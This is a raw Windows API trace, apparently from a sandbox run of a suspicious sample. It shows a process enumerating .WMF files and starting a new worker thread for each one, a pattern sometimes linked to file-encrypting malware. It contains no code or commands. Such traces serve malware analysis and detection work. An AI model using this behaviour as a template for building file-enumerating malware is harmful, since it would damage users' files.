	[0197.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c
	[0197.420] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.420] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1
	[0197.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0
	[0197.423] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.423] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1
	[0197.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4
	[0197.425] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.426] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1
	[0197.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a8
	[0197.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.430] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1
	[0197.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ac
	[0197.434] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.434] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1
	[0197.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0
	[0197.437] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.438] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1
	[0197.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4
	[0197.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.441] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1
	[0197.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8
	[0197.762] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.845] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1
	[0197.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc
	[0197.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.853] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1
	[0197.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c0
	[0197.860] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.861] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1
	[0197.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c4
	[0197.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.864] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1
	[0197.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8
	[0197.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.867] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1
	[0197.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12cc
	[0197.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.869] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1
	[0197.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d0
	[0197.872] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.872] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1
	[0197.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4
	[0197.875] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.875] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1
	[0197.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d8
	[0197.878] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.878] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1
	[0197.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12dc
	[0197.881] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.881] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1
	[0197.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e0
	[0197.884] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.884] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1
	[0197.884] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e4
	[0197.887] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0197.888] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1
	[0197.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0197.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12e8
	[0198.117] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.120] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1
	[0198.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec
	[0198.123] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.124] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1
	[0198.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0
	[0198.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.127] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1
	[0198.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f4
	[0198.129] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.130] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1
	[0198.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8
	[0198.133] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.133] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1
	[0198.134] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12fc
	[0198.136] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.136] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1
	[0198.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1300
	[0198.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.140] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1
	[0198.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0198.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1304
	[0198.143] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0198.143] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1
